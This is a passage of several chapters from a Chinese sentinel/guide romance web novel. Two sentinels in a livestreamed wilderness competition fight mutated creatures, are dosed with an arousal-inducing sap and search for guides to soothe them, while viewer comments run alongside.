黎珞言看着这份掌心大的地图,左歪一下脑袋,右歪一下脑袋,怎么着都看不懂。 这个空白地图上画一个红色小圈是什么意思?是什么聪明人才能看见的隐形地图吗? 黎珞言斟酌了一小会儿,仔仔细细把地图折叠一下收起来了,很好心态地想,看不懂算了,等遇见易谌之后再问问他好了。 污染区深处危机四伏,黎珞言才走了八百米,就已经遭受了成精藤蔓疯了似的用蔓条甩他,草丛里突然窜出一只兔子、红着眼睛追着咬他等等一系列事情。 比赛刚开始,黎珞言手上任何武器都没有,耽搁了好一会儿时间,赤手空拳摆脱掉那些变异体让他累了,甩了甩手上的血,后背靠在了树干上,闭上眼睛,准备浅浅地休息一下。 谁知刚靠上去,方才还没有动静的枝条就活动了起来,张牙舞爪地朝黎珞言冲来,想要挟制住这个掉以轻心的年轻哨兵。 感受到周身不对劲的空气流速,黎珞言猛地睁开眼,绿眸里寒光乍现,脚往后猛一蹬树,一个利落的后空翻躲开了来势汹汹的枝条。 黎珞言拍了拍身上的灰,呼吸因剧烈运动加快了频率,他眸子盯着这棵变异树,心里腹诽道,这里难道就没有一株好植物吗? 还没等他多腹诽两句,那树又挥舞着枝条开始朝他袭来。 他没有趁手的武器,没办法正面应对,只能暂时躲避,寻找机会反杀。 树上突然传来了鼓掌的声音,黎珞言一边不慌不忙躲闪,一边循声仰起了头,茂密的枝条让他看不清树上人的身影,但那人主动往旁边爬了爬,探出头看着他,勾起唇笑。 有些轻佻随性的嗓音,说话间隐隐露出舌面上的舌钉,调笑般的语气:“躲得很快嘛,小黎弟弟。” 70-80 第 71 章 “可能都会控制不住在直…… 岑洺看戏般地坐在树干上, 从繁杂的枝条里探出个头看他。 黎珞言齿间轻轻咬住舌头,眸子微眯,再一次旋身躲过攻击性极强的枝条过后, 他抬眸扫了一眼岑洺。 为什么岑洺不会被攻击? 他想不清楚其中窍门, 又见岑洺一副轻松戏谑的表情, 干脆快步助跑一跃跳了上去,手扒住枝干,在岑洺还未反应过来之时,他以惊人的弹跳力一鼓作气用手抓住了面前的哨兵。 岑洺当即就把他往下推,但黎珞言哪有那么好摆脱,被他一把推下去时,双腿骤然吊在了空中, 但两只手死死扒着他的腿, 手背可以看见用力突起的青筋。 “你快把我的裤子扯下去了!”岑洺脸上戏谑的神情收起了,压低了声音颇有些羞恼地说。 他穿衣服向来随性得很, 进赛区前完全没有想到会有这种裤子被扯的情况,因此本来该系条腰带的裤子,他觉得腰间松紧合适,干脆就没系腰带。 ……艹, 要是能重来, 他一定要在出门前把腰带戴上。 黎珞言一边拽着他, 一边还要在空中躲开朝他挥舞来的枝条, 浑身肌肉紧绷,核心极强, 抽空回他一句:“谁让哥看我笑话的。” 他说话温吞,做事可一点也不优柔寡断,扒着岑洺的腿, 死活就是不松手。 岑洺见他是打定主意要拉自己下水了,也不再纠结于此,便抬手折了条树枝,握在手里,尖锐的端部直冲黎珞言面庞而去。 黎珞言眸里映入一点越来越清晰的木色,在逼近之时他偏头躲开,手抓着岑洺的裤子攥紧,依靠核心力量往上撑了起来,顺势换手扒住了枝干,一个翻身越了上去。 两人直接在枝干上打了起来,打得那叫一个酣畅淋漓,拳拳到肉的中间还夹杂着甩动着攻击的枝条。 “吱嘎”一声,岑洺和黎珞言的动作皆是一顿,眼神同时转向枝干和树干的连接处。 那里断裂了一小截,脚下踩的实处摇摇欲坠,仿佛下一秒就要断开了。 两人的目标都朝向了粗壮的树干,准备重新换个站立的位置,同时奔向最中心的树干,岑洺却用手扣住了黎珞言肩膀,在他侧眸看过来的一瞬间,眼睛骤然变成了蝴蝶状,像幻影那样波动着。 黎珞言眼睛涣散了一瞬,岑洺趁此机会先他一步跳起来抓住了另一根枝干,同时间他用力踏上脚下摇摇欲坠的枝干,咔擦一声完全断了。 在他的手即将触到枝干之时,从侧方突然冲过来一只巨大的狮子,凶意毕露,势头极猛。 岑洺被迫缩回了手,整个人悬空往下坠,强烈的失重感让他眉头皱起,手在旁边努力比划试图找到一个能减缓他下落速度的物件,然而只是徒劳。 发现没办法了,他闭上眼,坦然接受即将到来的疼痛感。 算了,摔一下也不会死。岑洺心态很好。 在即将和地面来个猛烈撞击之时,岑洺却没有感受到想象中的痛感,反而触感毛茸茸的。 不是?真给他摔死了? 感受到着落点十分奇异的触感,岑洺先是睁开一只眼睛,便看见一张放大的俊脸。 黎珞言趴在狮子身上,伸头过来看他,俊俏的眉眼写满了认真:“岑洺哥,是你先用精神体的哦。” 他本来没想动用精神体的,但是既然对方先用了,他便也跟着用。唔……祁青哥之前就说过他学习能力很强,黎珞言很受用。 岑洺的心脏还在因剧烈失重感猛跳着,乍然间又看着黎珞言这张可以在星网直接凭脸出道的脸庞,一时间心脏跳得更快了,不知道是出于何种原因。 他只能看见黎珞言嘴巴一张一合的,似乎是在说什么。……不管了,应该也不重要。 这棵粗壮的大树又咣咣甩出枝条,黎珞言从狮子身上跳了下来,顺便把岑洺也拽了下来。 岑洺还有些没回神,被他拉着跑了两步,才扭头看他。 “你这是第一次进污染区深处?”那些枝条像是看不见岑洺似的,一个劲追着黎珞言打,岑洺在旁边气定神闲地问他。 黎珞言点点头肯定他,他不明白岑洺怎么可以独善其身,思索了一秒后就很迅速地抬步往岑洺身后躲,把枝条的攻击转移一部分给岑洺。 连带着岑洺也得和他一起躲。 “等等——我们合作吧。”岑洺出声。 “合作?”黎珞言歪歪头,一把抓住了一根啪啪往地上砸的枝条,皱了皱眉,两只手用力将其扯断了。 岑洺迅速把他往后面拉了下,从他手里拽走了枝条,没让汁液沾上黎珞言的皮肤。 他按了按额角,撇了下嘴,嘲讽道:“你知道这树是什么吗你就扯断了?” “啊……不知道。”黎珞言老老实实回答,“是什么?” 岑洺被他真诚的态度哽了一下,莫名为自己自动开启的嘲讽感到了几分愧疚。干巴巴解释道:“这汁液有毒啊。” 黎珞言立马点点头:“这样啊。” 忽然周围飞来许多小蝴蝶,五彩翅膀上的彩粉唰唰往下落,方才还鼓足劲朝黎珞言挥来挥去的枝条像是一瞬间泄了火,失去了目标,漫无目的地随意拍打了几下。 黎珞言悟了,原来是这样。 “你的精神体的致幻效果居然还对变异植物起作用吗?” 岑洺挑眉,嗓音显得很是邪肆:“你猜。” “我猜就是这样。”黎珞言慢吞吞回他,他早就把厄斯收了回去,迈步准备走了。 “刚刚我说的合作,你觉得怎么样?”岑洺喊住他。 他们二人站在树荫里,黎珞言转过身,面对面看着岑洺,歪了下头:“我为什么要和你合作?” 岑洺:? 他不由感到荒谬:“那我帮你摆脱这个变异树干嘛?” 黎珞言抿了下唇:“原来岑洺哥是为了合作才帮我的……” 岑洺突然想到自己从枝干上掉下来的时候,是黎珞言的精神体救了他,听他这么一说,心里升起点怪异的愧疚感。全然忘了要不是黎珞言,他才不会从上面掉下来,简直是无妄之灾。 想到掉落时后背毛茸茸的触感,眼前便又回忆起睁开眼睛的那一刻黎珞言凑近看他时的那张无可挑剔的俊俏面孔。 “也不是……”岑洺被心里的想法驱使着给出了否认的答案。 黎珞言便和他挥挥手,弯眼道:“那我走了。” “我只是突然想起来,上一轮我们队排第三,奖励是食品类物资,”岑洺故意说着,果不其然看到黎珞言离开的脚步一顿,他唇角勾起一个笑,表现得像是拿食物诱惑人的恶魔一样,“我这里刚好有压缩饼干。” 说着,他从储物戒拿出一袋饼干,撕开了包装纸。 储物戒是在进入联赛之前联赛主办方给的,里面是一部分食品类物资。 黎珞言嗅到饼干的香味,转过身来,立马就转换了阵营,一本正经地说:“有纯净水吗?” 岑洺笑眯眯道:“当然。” “那我们合作吧。” 这次比赛仍旧会同步直播到星网,弹幕不停刷过。 【我不行了哈哈哈哈哈,明明挺正常一个行为,岑洺怎么能表现得这么阴险】 【抵抗不住饼干的诱惑,人之常情】 【谁能拒绝在经历了大半天的战斗之后来上一场休闲又惬意的下午茶呢】 【太卑鄙了岑洺!】 【所以这次比赛的主题是什么?寻宝吗?】 【好欸!我爱寻宝,运气和实力的双重考验,好玩好玩】 【终于进污染区深处了,不像小孩子过家家了】 【危险程度看起来也还好啊,我还以为会是一进来就危机四伏的情况】 【?有人觉得不危险那是因为你进的是黎队的直播间,才会感觉应对自如,但凡你去别人的直播间看看呢?】 【刚从别人直播间进来的我有发言权,有人进来之后一秒没了。踩着的那块地其实是个异兽,地一动他一慌,瘫坐下去,嘶溜一下就从异兽背上滑进嘴里了,那叫一个丝滑】 【而且污染区晚上的危险程度和比白天相比,完全是翻了一倍。觉得很简单的到晚上再来看看吧】 * 黎珞言接过压缩饼干和一瓶水,靠在树干上慢悠悠吃,安安静静的,在污染区深处显得格外具有松弛感。 岑洺看他吃得可香,不由得想,真的有这么好吃吗?他看了一小会儿,也被挑起了食欲。他自己也拆了袋,放进嘴里咬着,但总觉得没有黎珞言吃得那么美味。 面前的哨兵就像是成精小狗吃饼干一样,对待食物表情专注又认真,眼睛亮晶晶的。于是他忍不住没头没尾来了句:“像吃狗饼干一样。” 黎珞言茫然抬眸,迟疑了一下才道:“你骂我?” 在看见岑洺自己也在吃饼干之后,他想了想,又不确定地说:“还是在说你自己?” 他思考一下,连环问:“你给我吃的狗饼干?” “吃了狗饼干会变成小狗吗?” “你是不是和我假合作?” 他每一句话都特别认真,是发自内心地怀疑岑洺诓骗他给他吃会变成小狗的神奇饼干。 岑洺从善如流:“我是说你像狗吃饼干一样。” “哦——”黎珞言完全没有被冒犯到,确认饼干没问题之后又开始安安静静吃。 边吃边喝水,不像是来比赛的,倒像是来度假的。 “这里有宝箱吗?”黎珞言吃完之后,问道。 “刚刚没看着,我没比你早来多久。” 岑洺也是只是偶遇这棵变异植物,他走累了,便用精神体迷惑了这棵树,爬上去休息了,没想到没过一会儿就看见了被枝条追击的黎珞言,只是习惯性嘲笑了两句,就惹火上身了。 他撺掇着:“要不要上去看看?” “好。”黎珞言说干就干,把那瓶水塞到岑洺怀里之后,自己三下五除二就攀了上去,动作干净利落,流畅得可以记入联邦军校的视频教学,作为新生的体术教程。 他往上爬,到了最高点的时候,拨开枝条,果然在枝干交叉处看见了一个小小的宝箱。 他小心取下,拿稳之后从上面跳了下来。 谁知道他刚踩到地上,那棵粗壮的大树就跟疯了一样,枝条毫无章法地甩了起来,淋淋沥沥的汁液往下面掉。 黎珞言和岑洺毫无准备地被浇了一身。 黎珞言眨了下眼睛,不知道是不是光线衬的,岑洺总觉得他眼睛湿漉漉的:“你刚刚是不是说汁液有毒来着。” 他歪着头有点慢半拍地想,他们是不是要被淘汰了。 岑洺眯了眯眼睛,嗓音干涩:“汁液里含有诱导哨兵发情的激素。” 他冷笑了一声,这时候还能笑得出来也是很有兴致了:“如果不在两个小时内找到向导做疏导的话,我,还有你,可能都会控制不住在直播镜头面前脱个光了。” 第 72 章 “是不是有另一个向导,…… 岑洺说完之后, 好整以暇地看着黎珞言的反应,就见他就茫然地眨了下眼睛,喃喃重复一句:“要脱光。” “不是要脱光, ”岑洺都想敲他脑袋了, “是找不到向导我俩就完蛋了。” “那我要去找易谌了。”黎珞言说完, 抱着宝箱就准备和岑洺再见、踏上寻找未婚夫的路途。 才刚转了个身,就被岑洺拽住了。岑洺脸上笑嘻嘻的,眸子却平平地望着他,皮笑肉不笑地说:“你是不是忘记我们现在还在合作了?” 语气莫名地危险:“救你也救了,饼干你也吃了,水也喝了,现在遇到事就跑路了?” 他低眸看了眼黎珞言抱在怀里的宝藏, 堪称咬牙切齿地说:“你甚至还直接抱着宝藏就跑路。” “那分你。” 黎珞言大大方方地把宝藏打开, 打开后看见里面装着的是针管和药剂,他瞳孔骤缩, 瞬间被牵引着想起了一些糟糕的回忆。 光线明亮到刺眼的实验室,金属材质的精密仪器,折射着冷芒的针尖滴落着药水…… 黎珞言喉结滚动了一下,绿眸怔怔看着宝箱里的物品, 看起来眸光偏冷, 下一秒他就砰的一声把宝箱合上了。 岑洺被他没头没尾的这一下惊得眼皮颤了一下, 奇怪道:“怎么了吗?” 黎珞言把宝箱往岑洺那边推了推, 抬起眸,一本正经:“都给你了。” 岑洺不知道他怎么突然良心发现了, 狐疑地看着他,眯了眯眼睛:“为什么?” 但黎珞言的眼睛十分澄澈,写满了真诚, 咬字慢悠悠的,带着点笨拙的真诚,又夹杂了点懒怠:“这个不好分啊……要不哥再给我一包饼干,就当交换了。” 先不论药剂到底是有关于什么的药剂,总之针管肯定是有用的,即便里面什么也不装,也能用尖锐的针头作为一种能够致命的武器。 岑洺看他眼巴巴的样,大方地给了他两包饼干。 黎珞言:“岑洺哥你人真好。” 他本来只想要一包压缩饼干留着带给易谌吃,但是岑洺竟然慷慨地给了两包,这样他就能和易谌一人吃一包了。 黎珞言弯弯眼睛,有点高兴。 听到这句话,岑洺明明没少听过别人的夸奖,却被他这句夸得莫名其妙耳根一热,很受用地点了点头,唇角勾着笑,还多给了他一瓶水。 联邦奖励给第三名的这个储物戒仅供食物的拿取,不能储放其他任何物品。为了便于携带宝箱里开出来的物件,岑洺把药剂和针管等物品装进了兜里,还好战术服在设计时就考虑到了这种情况,很能装琐碎零散的物品,装进去后也十分服帖。 黎珞言还是没有放弃找易谌的想法,但是拿了别人的食物、还建立了合作关系之后,他这次就准备带着岑洺一起去找易谌。 他用深色的衣服随意擦了擦黏在皮肤上的汁液,至于粘连在发丝上的那些绿色汁液很难处理,黎珞言就不管了。 “我们去找易谌吧。”黎珞言自然地再次转过身,迈步稳步往前面走。 岑洺迈开腿,还没落下,又收了回来,挑了下眉,怀疑地问:“你知道他在哪儿?” 黎珞言停顿了一下:“……不知道啊。” 岑洺:“?那你走这么自信?” “我也不知道他的具体方位。”黎珞言歪歪头,他觉得这个第一名的奖励地图实在是太没用了,不仅让人看得一头雾水,还只是一块地图碎片。 为什么不能直接告诉他每个队友的位置? 黎珞言叹了口气,抿唇说:“但反正我们不准备待在原处,那往哪个方向走不都一样吗?” 岑洺竟然被他这么一句话给说服了,倒还真有点道理。于是两人漫无目的地随便挑了个方向前进。 岑洺精神体的致幻能力真的很好用,一路上缩减了不少没必要的战斗时间,一遇到那些不棘手但难缠的变异植物和动物,众多的蝴蝶就飞了出来将其包围了起来,扑簌簌的毒粉就和雨一样往下洒,倒是有点像天女散花,美观又不失杀伤力。 接着这些变异动植物就像是看不见他们了一样,不会再主动攻击他们。 黎珞言就在旁边十分真诚地夸赞他“好厉害”“好神奇”之类的话,岑洺被他夸得有点飘飘然,笑眯眯地说:“那是,跟着岑洺哥合作有好处吧,吃的喝的都少不了你。” 黎珞言就点点头,“嗯”上两声。 突然岑洺不走了,他找了棵正常的树倚着,低下头。黎珞言有些困惑地左右张望一下,这一路上别说易谌了,他们甚至连个人影都没看见过。 “岑洺哥,你怎么了?” “累啊。”岑洺仰起头,睨着站在自己面前的黎珞言,睫毛在瞳孔里投下一小片阴影,显得意味深长。 他在路上动用精神体太多次了,那棵变异树的汁液对他的影响有些提前生效了,胸腔里燃起了一团愈燃欲烈的火,烧得他四肢都热了起来,让他看着黎珞言的眼神都有些不对劲了。 不行不行,这是他好兄弟的弟弟,已经有未婚夫了,还是个哨兵。根本解不了燃眉之急。……不行。 岑洺倚着树干,闭上眼缓了一会儿,脖颈上爬上了连片的绯红,胸膛起伏着。 黎珞言就在旁边安安静静地看着他,眼睛一眨一眨的,也猜到岑洺的异常来源于。他突然想到那棵树上宝箱里的药剂,既然都在一起,那会不会…… “药剂能不能解除汁液产生的负面效果?” “能,”岑洺开口时才发现自己的嗓子竟然这么哑,就像是被火燎过一样,他睁开眼睛,看着黎珞言认真严肃、又格外出众的那张脸,嗓子更哑了,“有一管药剂里装的是抑制的……我还能再忍忍。” 在装进兜里的时候,他就查看了那几管药剂的作用说明,只有一管是抑制负面效果的,但也只是抑制不能解除。剩下几管都是些毒药,不知道是什么方面的毒药。 但他打一开始就没准备用。 一来污染区这种汁液里含有发.情素的植物不算少,他有这一管抑制药剂不仅能在不得已的特殊情况下派上用场,还能拿来和别人谈交易;二来他也还没到达非用不可的地步,这种程度的还能忍。 实在忍不了了的话……岑洺看着黎珞言的脸,眸色一瞬间变得幽深,但旋即像是清醒了一样,又使劲闭了闭眼。 艹!他打不过黎珞言,真想让黎珞言帮自己解决一下的话,只嘴上说说这人绝对不会答应,要是想强迫对方……话回到前面,他打不过黎珞言,这是明摆着的事实。 他焦躁地忍不住啧了一声,怎么走这么久连个人影都没看见??他们到底是被传送到什么荒郊野外了?? 要真没其他办法的话,他也只能用那一管药剂了。 黎珞言不知道他在想什么,但他脸上表情还蛮丰富的,一会儿阴一会儿晴,像个晴雨表一样。 黑发绿眸的哨兵忍不住弯唇笑出一声,原先锋利冷锐的气质一瞬间消散得无影无踪,显得柔和又容易亲近。 岑洺喉结滚动一下,清晰的咽口水声在这时响起,两人都能听见这一声。 但岑洺已经顾不得尴尬了,方才已然被自己说服而果断放弃了的想法此刻又卷土重来了,甚至有更加激烈的迹象。他目不转睛盯着黎珞言,完全长在他审美点上,给他来了个完美狙击。 ——就算是兄弟的弟弟怎么了?有未婚夫了又怎么了?他未婚夫是向导,但他又不是向导,所以不构成同类竞争…… 岑洺很没有道德感地想着。 黎珞言往远处看着,忽然出声道:“是尚奕哥。” 岑洺也跟着扭头看过去,果不其然看到尚奕的身影。他重重地啧了一声,心里冒出来的第一个反应是烦躁这人早不出现晚不出现,偏偏等他都说服了自己之后才出现。 黎珞言朝尚奕招手。 虽然没能按照计划中的那样找到易谌,但偶遇到的尚奕也是向导,同样也是白塔数量稀少的s级向导,给他们做个浅层疏导就是手拿把掐的事。 黎珞言把事情的来龙去脉给尚奕说了一遍,尚奕边听边点头。他和黎珞言是被绑到过同一个帐篷里的交情,也算是同病相怜,很爽快地就答应了下来。 至于岑洺…… 尚奕撇了下嘴,这人上一阶段赛是怎么要挟他的他还记得呢,那叫一个小人得志、洋洋得意。 而且岑洺求他办事,怎么还一脸不爽的模样。 尚奕看着都要不爽了。 “岑洺哥他情况要更严重些……”黎珞言望着他,漂亮的绿眼睛直勾勾盯着他看,表示他可以先救岑洺。 尚奕一直都抵抗不住他这样看着自己,眼神不自然地躲避开,胡乱应了下来:“行。” 尚奕的人缘一向很好,因为他脾气好又不记仇,虽然由于懒怠专业能力不算特别突出,但队友和他的感情很好,广结良缘也让他的名声一向很好。 此时面对曾经对自己恶语相向的岑洺,他也既往不咎地决定给对方做一个浅度疏导。 ——除了在用精神力探入岑洺脑域的时候比较粗暴,疼得岑洺捂头呲牙咧嘴之外。 给岑洺做了疏导之后,尚奕就看向黎珞言:“到你了。” 黎珞言眼皮不自觉跳了一下,他慢吞吞地低头看向坐在地上倚着树、捂着头的岑洺,就好像是疼得正在怀疑人生一样。 他记得自己第一次接受易谌的疏导时也是这个状态,头疼得恍惚了。但后来在做疏导,易谌就要缓慢细致很多了,不再像第一次那样粗糙。 但易谌现在不在这儿。 黎珞言心里有点说不清的情绪,缓缓舒出一口气后,胸口没那么闷了。他抬眸看向尚奕:“好。” 然而尚奕把精神力探入黎珞言的脑域时,却像是被什么堵住了一样,强硬得像是一堵墙一样不允许任何事物的进入,严丝合缝得堪称恐怖。就好像是动物性圈地盘的行为。 他只是让精神触须触碰了下那堵墙,就感受到其上强烈到可怖的恶意以及占有欲在那瞬间汹涌而来。 尚奕倏地睁开眼,表情变化了好几下,让人有些难懂。 黎珞言疑惑地看着他,不明白他怎么什么也没做就停下了。 尚奕组织了下语言,艰涩地问他:“是不是有另一个向导,给你进行了很多次的深度疏导?” 深度疏导只有负距离接触这一种方式,这句话就跟问你是不是和另一个向导做过.爱了没多大差别。 只不过相对而言更委婉含蓄些。 显然岑洺也听懂了这句话的深层意思,也骤然抬起头,不可置信地看向黎珞言。 第 73 章 “怎么受伤了?” 在尚奕答应给他们做疏导的那一刻, 弹幕就如雨后春笋般齐扎扎冒了头。 【论不记仇这一块】 【我早就在想岑洺这个狗脾气遇到哪个向导才能让人给他心甘情愿做疏导,原来是白塔脾气最好的尚奕】 【说实话温暻来了都不一定会给他做疏导】 【跪求有人大显神通封上岑洺这张刻薄的嘴】 【不懂,他怎么在狗塑黎队?不允许】 【狗塑是好美德, 最支持岑洺的一集[举狗狗牌]】 【只有我一个人支持威猛狮子塑吗?草原之王真的很帅】 【可是黎队明明就更像卡皮巴拉啊, 感觉性格完全不像长相那么锋利, 反而非常温吞,啊啊啊真的很可爱啊】 弹幕刷着刷着完全就偏离了话题,开始纠结起黎珞言到底适合什么塑。接着在尚奕问出那个问题的时候,弹幕突然空白了一小段时间,就像是卡顿了一样,过了两秒就涌出大量的弹幕,密度极大, 将屏幕遮了个严严实实。 【ber真做了?】 【做了就做了嘛, 弹幕吃惊什么】 【二十出头的年纪,和未婚夫共处一室, 情难自禁情到深处倒也正常】 【那我磕的古早cp咋办[泪目]】 【弹幕belike“订婚了还能退,结婚了还能离,反正就是还有机会。”】 【get不到黎队和首席的磕点是什么】 【是双向付出,是年少情深, 是顶着大太阳站在白塔下面直到等到你, 是为了你提前处理好繁杂琐碎的事务去你的学校陪你】 【?造谣的举报了】 【黎队只是对所有人都真诚, OK?】 【lly和wj就是不熟啊, 明眼人都看得出来】 【还是真情侣好磕,我磕磕磕……啊呀, 甜甜的很贴心】 【其实我还关注另一个问题,就是……】 【谁上……】 【谁下……】 【黎易kswl】 【黎易99】 【黎易不拆不逆】 尚奕问完这个问题,便盯着黎珞言看。 黎珞言被两人同时这样盯着看, 实在有些不自在了,伸手摸了摸鼻子:“是啊。” 从上一阶段的联赛出来后没多久,他就住在了易谌家里,从第一次做了深度疏导后,后来的每次疏导也成了顺理成章的事……唔,好像有几次光深度了,没疏导。 岑洺表现得比当事人还要沉浸,这时候头也不疼了,身体也不累了,皱着眉问:“你们不是还没结婚吗?” 黎珞言歪了下头:“那不是板上钉钉的事吗?” “那也不能!……”岑洺条件反射回道,看着黎珞言更加茫然的表情,他突然也发现自己反应有些大了,“算了,也没关系。只是说你毕竟也叫我一声哥,我就忍不住多说几句。” “你们……咳咳,做的时候,谁……” 尚奕直接打断他,少见得语气有些凶:“你是不是好奇得太多了?” 岑洺不耐地啧了一声,烦躁他打断自己说话。 尚奕朝着小型跟踪式摄像头抬了抬下巴,示意这是在直播,不要什么话都不经大脑地往外说。 岑洺也微不可察地瞥了一眼摄像头,住了嘴。 他时常忘记这是在直播,又或者说他根本不在意有没有直播,做事向来都是想做什么就做什么,随性得很。但这种私底下的事确实不好当着直播镜头问出来,即便他心里再想知道答案,也只能等到出去之后有机会的时候再问。 但是出去之后,他和黎珞言根本就……根本就没有交情啊。之前自己不熟练地驾驶飞行器上路还把黎珞言给撞了,这就是他们唯一的交集了。 尚奕又看向黎珞言,耸了耸肩,爱莫能助的神情:“哨兵的生理课上应该讲过,多次深度疏导之后,哨兵就和那名向导绑定了,不能再接受其他向导的疏导。” “所以我不能给你做疏导。” 黎珞言明显就是现在才被科普到这个知识点,他了然地点了点头:“那我还是要找到易谌,对不对。” 尚奕道:“是这样。” 岑洺摸了摸自己兜里的药剂,若有所思的模样。 “那我去找易谌了。”黎珞言弯弯眼睛,立马就接受了这个事实。 “你知道易谌现在在哪儿吗?” 岑洺没想到短短的时间内,他居然能问两遍类似的问题。 而黎珞言居然也给出了相似的回答:“不知道啊。走着走着,说不定就碰到了。” 岑洺嘴角抽了抽:“你知道还有半个小时左右你皮肤上沾着的诱导发情素就要发作了吗?” “这样啊,”黎珞言点点头,心觉这是他在提醒自己珍惜时间,于是连说话语速都在瞬间变快了,像开了倍速一样,“那我现在就出发,再见。” 岑洺是想趁机用他身上那管药剂敲诈一下黎珞言的,但没想到这小孩笨到根本没想到这一茬,他不免产生了种说了一大堆没用的话、做了一大堆无用功的头疼感。 算了,走吧走吧,十头牛都拉不回他了。 岑洺撇了下嘴,迈开步子,跟在黎珞言后面,准备着等时间快到了他还没找到易谌的话,就用抑制发作的药剂给他顶上一阵。 尚奕一扭头看这两人都走了,思索了两秒,便跟在岑洺后面。 三个来自不同队伍的人就这样以一种莫名其妙的队形往一个莫名其妙的方向走着。 黎珞言余光中忽然闪过一个人影,他定睛往树干那边看去,黑色的身影一闪而过。他试图上前看清那人的模样,刚要接近那棵树,粗壮的树干后面就突然以闪电般的速度窜出一个怪异的影子。 黎珞言反应速度更快,跟随本能地躲闪避开,险险躲开后,他又迅速往后挪了一大片距离,呼吸都紊乱了,这才有时间看那怪物的原样。 ——是变异蚂蝗,环节状躯体伸缩时如生锈的弹簧,体型不算巨大,但和正常的蚂蝗相比就格外大了,大概有成人手臂那么粗,表面滑溜溜的,模样看起来极为恶心。 刚出现一只,树干后面蓦然又跳出了好几只,每一只的移动速度都极快,只稍微一不留神就极有可能被这玩意儿近身。 三人一瞬凝神。 时间拖得太久,距离被汁液沾到身上已经过了许久,和岑洺说的最后期限已经是不到十分钟的时间了。 不知道是不是错觉,黎珞言感觉自己的大脑有些发热,连呼出来的气都是烫的,流经身体四处的血液都传播着情.欲的意味。 他眼皮微垂,感受到自己气息不对时便习惯性想要不动用感知力和精神体。 再加上这种攻速快的异兽刚好有些针对黎珞言的薄弱处了,他状态不太好,脸上逐渐漫上绯红,努力应对得自如一些。 岑洺和尚奕的精神体也不能很好地应付蚂蝗变异体,颇有几分自身难保的意味。 岑洺一扭头看见黎珞言的神情恍惚了下,蚂蝗看样子要跳到他的身上了。他立刻召唤蝴蝶,迷惑了异兽几秒钟,给了黎珞言足够的反应时间。 这异兽是以吸血为食的,一旦被其碰到皮肤就很难甩掉。但凡换个别的精神体他也不会显得这么狼狈。他咬了咬牙:“这异兽的等级至少是a级以上。” 他的精神体的致幻能力对a级以下的异兽基本是所向无敌的,但方才只能控制变异蚂蝗几秒,可见其等级不低,这里还一次性出现五只,实在是难以应付。 操。 尚奕的脸色也有些难看。他本身就是治愈型向导,平时又喜欢摸鱼划水,还好学躲避课程的时候好好听了,此时勉勉强强不会被咬到。但他实在是太狼狈了。 没有武器,就只能赤手空拳去对付,但拳头一出就会被这蚂蝗扒住吸血。简直就是两难困境! 到底是谁想出的这破赛制! 三人被这几只行动敏捷的蚂蝗搞得各有各的问题。 黎珞言看起来还很冷静,但白皙脸庞上满是慢慢攀上去的潮红,是几乎从未现于人前的模样。慢慢的,他眼睛泛上一层淋淋水气,使劲眨了眨眼睛,努力看清面前的异兽。 【怎么突然出现这么多只蚂蝗??】 【一般来说高等级的异兽不是晚上才出没吗?】 【看到这里我真的有点怜爱这三人了,本来都是在各自领域小有成绩的s级,结果被这个蚂蝗逼到这个地步】 【只能说太不巧了,偏偏是他们遇到,黎队中了诱导发情素,尚队是治愈系的,岑洺又是控制系的】 【实则不然】 【没有人看到另一个直播间的视角吗?】 【天一这招还是太阴狠了】 【没想到联赛宝箱里居然还能放异兽!刚刚看到天一开出这么个宝箱,里面的蚂蝗还处于昏睡状态,我还在想这怎么用。没想到原来是这么个用法啊。活到老学到老】 【天一是在报上次黎珞言暴露他真实面容的那一仇吗?但这儿可是有三个队的人,但凡三个队合作联手去搞他们队,他们队不就完蛋了吗】 【谁知道是他搞的。这里有0个人看见他放生蚂蝗】 【好惨,走了这么远的路,迫切需要的人没找到,居然碰到了个手段最毒最阴的】 黎珞言体感距离他沾染汁液已经过了两个小时了,不然他怎么头这么晕,脑子也有点混沌了? 他眉头紧皱着,眯了下眼睛,看着一直在自己面前挑衅的蚂蝗,因热气翻涌的烦躁驱使他终于出了手。 他一把抓住那只跳到面前的蚂蝗,他掌心一疼,却没在意,把那只被抓到手里的蚂蝗径直按到了树干上。 被不断用力的手和树干挤压着,那只蚂蝗再没有挣扎的迹象,总算没了生息。 黎珞言随意甩了甩自己的右手,被血液包裹的右手显得有些可怖,被他甩了些血点子在地上。 他脸颊泛着醉了一样的红,眸色却冷得不行,眉间微拧,带着点燥意。 血液的味道吸引着剩下的四只蚂蝗往他的方向直冲而来。 黎珞言脑子缓慢地转着,慢吞吞地想反正被已经被咬了,只要吸不干他的血也无所谓。 他准备故技重施,侧方却突然有一只巨大的黑蛇冲了过来,将离他最近的那只蚂蝗吞吃入腹,再没有一点那蚂蝗存在的痕迹。 黎珞言慢半拍地眨眨眼睛,垂至身侧的右手往下滴着血,滴答滴答,往下汇成了一小块血红的水洼。 “怎么受伤了?” 易谌的嗓音在这时响起,冷淡中带着点微不可察的喘气声,就像是狂奔而来的一样。 黎珞言眼皮猛地抬起,他看见易谌脸的那一刻,就用干净的左手扣住了易谌的后颈,凑近有些凶地啃咬了上去,舌头抵进他的齿间,汲取着他的□□。 易谌瞳孔骤缩,喉结因吞咽不断滚动着。 第 74 章 “流出来了怎么办。”…… 稍微分离了一瞬, 易谌张嘴想问发生了什么,但才堪堪发出一个音节就又被咬住了唇肉。 黎珞言的呼吸近在咫尺,热气打在他的唇边, 半阖半睁的带着水色的眼睛, 小兽一样凶猛地啃咬着的动作, 处处都诉说着一种暧昧的氛围。 黎珞言的吻技一如既往的烂,但相比起第一次还算有点进步,见到易谌就是一番啃咬,易谌从一开始的意料之外很快变成了接受良好,一边旁若无人地回应他热切的吻,一边引导着黎珞言的动作。 变得巨大的精神体黑蛇一口一个将蚂蝗吞吃入腹,易谌脸色苍白了些, 神情却始终没有任何明显的变化。他似乎完全沉浸于和黎珞言的亲热中了。 突然一记手刀砍到黎珞言的后颈上, 易谌猛地回神抬起眸,冰冷的眸光在岑洺脸上扫过, 手上抱紧了软倒在他怀里的黎珞言。 他低眸看了一眼下巴磕到他肩上的哨兵,哨兵脸上的潮红还未褪去,眉毛微微拧起似乎是很难受。 就算看不见他的神色,易谌也能感受到他身体的难受, 毕竟那东西抵着他, 他想忽略也忽略不掉。 要不干脆找个地方帮他解决一下好了?反正直播会自动屏蔽不适合未成年观看的内容。 易谌这样想着, 眸子却始终冷冷看着莫名其妙出手打晕黎珞言的岑洺。 岑洺眯了眯眼睛, 也看着他,同样没有想要率先开口的意思, 隐隐有针锋相对的对峙意味。 